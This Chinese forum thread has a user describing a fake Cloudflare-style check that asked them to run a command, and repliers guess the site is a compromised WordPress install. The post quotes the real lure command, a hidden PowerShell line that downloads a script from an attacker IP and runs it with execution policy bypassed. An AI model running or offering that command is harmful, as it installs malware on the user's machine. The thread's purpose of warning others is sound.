让我执行的命令
powershell -w h -c "$u='http://83.217.209.227/2UP.lim';$p=\"$env:USERPROFILE\Music\d.ps1\";(New-Object System.Net.WebClient).DownloadFile($u,$p);powershell -w h -ep bypass -f $p"
我还想着 CF 什么时候这么狠了，居然让用户执行 Shell 验证（第一反应以为是想让用户通过 Shell 往服务器上 POST 一些东西来证明不是 robot ），看到这里面的 URL 居然直接用 IP 地址而且没有 https ，还好多了个心眼。
想看看这脚本到底是啥，直接打开上面那个 URL 被卡巴斯基拦截了。
不过现在好像已经 404 了，不知道是不是会判断 UA 啥的，用浏览器打开就 404 。
关键是，这理应是个正规站（所以一开始我心理没设防），难道是被黑了？
3 条回复
 |
1
leoking6 1 天前
这大概率就是 WordPress 被攻破了，让人家挂上恶意插件了。至于脚本 404 了，那个地址就是个老毛子的 VPS 服务商的 IP ，打一枪换个地方咯。
|
 |
2
silverwzw 1 天前
遇到这种事情就想想 CF 可能让普通用户这么做吗？
|
 |
3
UnluckyNinja 1 天前
web 之所以是 web ，就在于有浏览器这个沙盒屏障，在并非由用户方首先提出的情况下（下载文件、查找参考等），单方面想跳出浏览器环境的，一眼黑产
|
Select Language